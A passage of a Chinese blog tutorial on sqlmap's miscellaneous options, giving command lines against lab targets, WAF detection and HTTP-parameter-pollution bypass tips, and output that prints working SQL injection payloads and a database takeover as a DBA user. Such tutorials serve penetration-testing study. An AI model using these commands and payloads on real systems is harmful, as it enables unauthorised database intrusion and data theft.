  python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"
  • 1
  • 2

可以简写为:

  python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"
  • 1
  • 2

再如:

  python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"      
  • 1
  • 2

可以简写为:

  python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"
  • 1
  • 2

2.在成功检测到注入点时报警

参数:–alert

该参数用于在找到新的注入点时发出警报,后跟一个用于发出警报的命令,如:

  python sqlmap.py -r data.txt --alert "notify-send '找到漏洞了'"
  • 1
  • 2

部分输出如下:

  [18:59:36] [INFO] GET parameter 'couno' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)' injectable (with --not-string="001")
  [18:59:36] [INFO] executing alerting shell command(s) ('notify-send '找到漏洞了'')
  • 1
  • 2

上例中用于发出警报的命令是Ubuntu中的notify-send命令。

3.设置问题的回答

参数:–answers

使用“–batch”以非交互模式运行时所有问题都以按默认值作为回答。有时不想以默认值为答案又想使用非交互模式,此时可以使用参数“–answers”对特定问题进行回答,若回答多个问题,以逗号分隔。如:

  python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch
  • 1
  • 2

部分输出如下:

  [xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id' heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
  [xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N
  • 1
  • 2

4.在成功检测到注入点时发出“嘟”声

参数:–beep

使用此参数可以在成功检测到注入点时发出“嘟”声。使用“-m”从日志文件中检测大量网站时该参数会格外有用。

5.清除Sqlmap创建的临时表和自定义函数

参数:–cleanup

强烈推荐在测试结束后使用此参数清除Sqlmap创建的临时表和自定义函数,Sqlmap会尽可能地清除数据库管理系统和文件系统上的入侵痕迹。

6.检查依赖

参数:–dependencies

Sqlmap的有些功能依赖第三方库,在用到时发现没有这些库会报错退出。使用此参数可以检查依赖的第三方库是否安装,如:

  python sqlmap.py --dependencies
  • 1
  • 2

部分输出如下:

  [*] starting at 19:16:05

  [19:16:05] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in order to directly connect to the DBMS 'Firebird'. Download from http://kinterbasdb.sourceforge.net/
  [19:16:05] [WARNING] sqlmap requires 'python-pymssql' third-party library in order to directly connect to the DBMS 'Sybase'. Download from https://github.com/pymssql/pymssql
  [19:16:05] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in order to directly connect to the DBMS 'Oracle'. Download from http://cx-oracle.sourceforge.net/
  [19:16:05] [WARNING] sqlmap requires 'python-psycopg2' third-party library in order to directly connect to the DBMS 'PostgreSQL'. Download from http://initd.org/psycopg/
  [19:16:05] [WARNING] sqlmap requires 'python ibm-db' third-party library in order to directly connect to the DBMS 'IBM DB2'. Download from https://github.com/ibmdb/python-ibmdb
  [19:16:05] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-party library in order to directly connect to the DBMS 'HSQLDB'. Download from https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
  [19:16:05] [WARNING] sqlmap requires 'python ibm-db' third-party library in order to directly connect to the DBMS 'Informix'. Download from https://github.com/ibmdb/python-ibmdb
  [19:16:05] [WARNING] sqlmap requires 'python-pyodbc' third-party library in order to directly connect to the DBMS 'Microsoft Access'. Download from https://github.com/mkleehammer/pyodbc
  [19:16:05] [WARNING] sqlmap requires 'python-pymssql' third-party library in order to directly connect to the DBMS 'Microsoft SQL Server'. Download from https://github.com/pymssql/pymssql
  [19:16:05] [WARNING] sqlmap requires 'python-impacket' third-party library for out-of-band takeover feature. Download from http://code.google.com/p/impacket/
  [19:16:05] [WARNING] sqlmap requires 'python-ntlm' third-party library if you plan to attack a web application behind NTLM authentication. Download from http://code.google.com/p/python-ntlm/
  [19:16:05] [WARNING] sqlmap requires 'websocket-client' third-party library if you plan to attack a web application using WebSocket. Download from https://pypi.python.org/pypi/websocket-client/

  [*] shutting down at 19:16:05
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

可以看到我缺少的主要是用于连接数据库的第三方库。

7.关闭彩色输出

参数:–disable-coloring

8.指定使用Google dork结果的某页

参数:–gpage

使用参数“-g”时默认默认选择Google dork结果的前100条做注入测试。结合使用此参数,可以指定使用Google dork结果的某页。

9.使用HTTP参数污染

参数:–hpp

HTTP参数污染是绕过WAF/IPS/IDS的一种技术,详情见此处。这一技术针对ASP/IIS和ASP.NET/IIS平台尤其有效。如果怀疑目标受WAF/IPS/IDS保护,可以尝试用此参数进行绕过。

10.彻底检测WAF/IPS/IDS

参数:–identify-waf

Sqlmap可以识别WAF/IPS/IDS以便用户进行针对性操作(如:添加“–tamper”)。目前Sqlmap支持检测30多种不同的WAF/IPS/IDS,如Airlock和Barracuda WAF等。检测WAF的脚本可以在安装目录的waf目录中找到。

下例的目标是MySQL,受ModSecurity WAF保护:

  python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3
  • 1
  • 2

部分输出如下:

  [xx:xx:23] [INFO] testing connection to the target URL
  [xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
  [xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)'[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'
  [xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
  [xx:xx:23] [DEBUG] page not found (404)
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'
  [xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper')
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

参数:–skip-waf

默认地Sqlmap会发送虚假的SQL注入playload以试探目标是否有保护措施。如有任何问题,用户可以使用参数“–skip-waf”来禁用这一技术。

11.模仿智能手机

参数:–mobile

有些网站对智能手机和桌面环境的返回是不同的。当需要测试这种网站的智能手机页面时可以设置一个智能手机的User-Agent,或者更简单地,使用此参数,Sqlmap会在执行时询问要模仿成流行的手机中的哪种,如:

  $ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
  [...]
  which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
  [1] Apple iPhone 4s (default)
  [2] BlackBerry 9900
  [3] Google Nexus 7
  [4] HP iPAQ 6365
  [5] HTC Sensation
  [6] Nokia N97
  [7] Samsung Galaxy S
  > 1
  [...]
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

12.离线模式(仅仅使用会话数据)

参数:–offline

添加此参数,Sqlmap将仅仅使用以前存储的会话数据做测试而不向目标发送任何数据包。

13.在Google dork中展示页面权重

参数:–page-rank

与参数“-g”一起使用,这会使Sqlmap向Google发起更多的请求并展示页面权重。

14.从输出目录中安全移除所有内容

参数:–purge-output

当用户想要安全地删除输出目录中的所有内容时使用此参数。所谓安全删除,不仅仅是删除,而是在删除前先用随机数据覆盖原有数据,甚至对文件名和目录名也进行重命名以覆盖旧名称,所有覆盖工作完成后才执行删除。最后,输出目录中会一无所有。如:

  python sqlmap.py --purge-output -v 3
  • 1
  • 2

部分输出如下:

  [*] starting at 19:51:36

  [19:51:36] [DEBUG] cleaning up configuration parameters
  [19:51:36] [INFO] purging content of directory '/home/werner/.sqlmap/output'...
  [19:51:36] [DEBUG] changing file attributes
  [19:51:36] [DEBUG] writing random data to files
  [19:51:36] [DEBUG] truncating files
  [19:51:36] [DEBUG] renaming filenames to random values
  [19:51:36] [DEBUG] renaming directory names to random values
  [19:51:36] [DEBUG] deleting the whole directory tree

  [*] shutting down at 19:51:36
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

15.快速扫描

参数:–smart

当有大量URL要进行测试(如:“-m”),目的是尽快找出其中存在的某些注入点而有所遗漏也没有关系时可以使用“–smart”进行正向启发式扫描。此时只有让数据库管理系统报错的参数才会做进一步测试,其余URL均被跳过。如:

  $ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart
  [...]
  [xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
  [xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
  [xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable
  [xx:xx:14] [INFO] skipping GET parameter 'ca'
  [xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
  [xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
  [xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable
  [xx:xx:14] [INFO] skipping GET parameter 'user'
  [xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
  [xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
  [xx:xx:14] [INFO] GET parameter 'id' is dynamic
  [xx:xx:14] [WARNING] reflective value(s) found and filtering out
  [xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
  injectable (possible DBMS: 'MySQL')
  [xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id' heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
  do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y
  [xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  [xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
  [xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
  [xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
  [xx:xx:14] [INFO] testing 'MySQL inline queries'
  [xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
  [xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
  [xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
  [xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
  [xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
  [xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
  [xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the
  time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
  [xx:xx:24] [INFO] target URL appears to have 3 columns in query
  [xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
  [...]
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34

16.通过关键词使用或跳过payload

参数:–test-filter

若只想使用包含关键词“ROW”的payload可使用参数“–test-filter=ROW”。下面是以Mysql为目标的例子:

  python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --batch --test-filter=ROW
  • 1
  • 2

部分输出如下:

  [xx:xx:39] [INFO] GET parameter ’id’ is dynamic
  [xx:xx:39] [WARNING] reflective value(s) found and filtering out
  [xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter ’id’ might be injectable (possible DBMS: ’MySQL’)
  [xx:xx:39] [INFO] testing for SQL injection on GET parameter ’id’
  [xx:xx:39] [INFO] testing ’MySQL >= 4.1 AND error-based - WHERE or HAVING clause’
  [xx:xx:39] [INFO] GET parameter ’id’ is ’MySQL >= 4.1 AND error-based - WHERE or HAVING clause’ injectable GET parameter ’id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
  sqlmap identified the following injection points with a total of 3 HTTP(s) requests:
  ---
  Place: GET
  Parameter: id
      Type: error-based
      Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
      Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELECT (CASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FROM (SELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY x)
  ---
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

参数:–test-skip

若不想使用包含关键词“BENCHMARK”的payload可使用参数“–test-skip=BENCHMARK”。

17.交互式Sqlmap Shell

参数:–sqlmap-shell

使用此参数可以打开一个交互式的Sqlmap Shell,支持历史记录。如:

  werner@Yasser:~$ sqlmap --sqlmap-shell
          ___
         __H__
   ___ ___[.]_____ ___ ___  {1.1.10#stable}
  |_ -| . ["]     | .'| . |
  |___|_  [(]_|_|_|__,|  _|
        |_|V          |_|   http://sqlmap.org

  sqlmap-shell> -u "192.168.56.102"
  [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

  [*] starting at 20:22:46

  [20:22:46] [INFO] testing connection to the target URL
  [20:22:46] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
  [20:22:46] [INFO] testing if the target URL is stable
  [20:22:47] [INFO] target URL is stable
  [20:22:47] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')

  [*] shutting down at 20:22:47

          ___
         __H__
   ___ ___[.]_____ ___ ___  {1.1.10#stable}
  |_ -| . ["]     | .'| . |
  |___|_  [(]_|_|_|__,|  _|
        |_|V          |_|   http://sqlmap.org

  sqlmap-shell> exit
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29

18.为初学者准备的简单向导

参数:–wizard

Sqlmap特地为初学者准备了一个有着尽可能少问题的工作流的向导。用户输入目标后若一直按回车选择默认回答到工作流的最后也会得到一个正确的结果。如:

  werner@Yasser:~$ sqlmap --wizard
          ___
         __H__
   ___ ___["]_____ ___ ___  {1.1.10#stable}
  |_ -| . [)]     | .'| . |
  |___|_  ["]_|_|_|__,|  _|
        |_|V          |_|   http://sqlmap.org

  [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

  [*] starting at 20:39:41

  [20:39:41] [INFO] starting wizard interface
  Please enter full target URL (-u): http://192.168.56.102/login.php
  POST data (--data) [Enter for None]: username=001&password=003
  Injection difficulty (--level/--risk). Please choose:
  [1] Normal (default)
  [2] Medium
  [3] Hard
  > 1
  Enumeration (--banner/--current-user/etc). Please choose:
  [1] Basic (default)
  [2] Intermediate
  [3] All
  > 1

  sqlmap is running, please wait..

  sqlmap resumed the following injection point(s) from stored session:
  ---
  Parameter: username (POST)
      Type: boolean-based blind
      Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
      Payload: username=001%' OR NOT 2143=2143#&password=003

      Type: AND/OR time-based blind
      Title: MySQL >= 5.0.12 OR time-based blind (comment)
      Payload: username=001%' OR SLEEP(5)#&password=003
  ---
  web server operating system: Linux Ubuntu
  web application technology: Apache 2.4.7, PHP 5.5.9
  back-end DBMS operating system: Linux Ubuntu
  back-end DBMS: MySQL >= 5.0.12
  banner:    '5.5.50-0ubuntu0.14.04.1'
  current user:    'root@localhost'
  current database:    'DSSchool'
  current user is DBA:    True

  [*] shutting down at 20:40:07
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49

总结

完整阅读Sqlmap官方手册后终于对Sqlmap有了一个较为全面的认识。以前只是有所耳闻,现在切实地感受到了Sqlmap的强大,也愈加敬佩Sqlmap的两位作者:

猜你喜欢

转载自blog.csdn.net/qq_gfq/article/details/80100603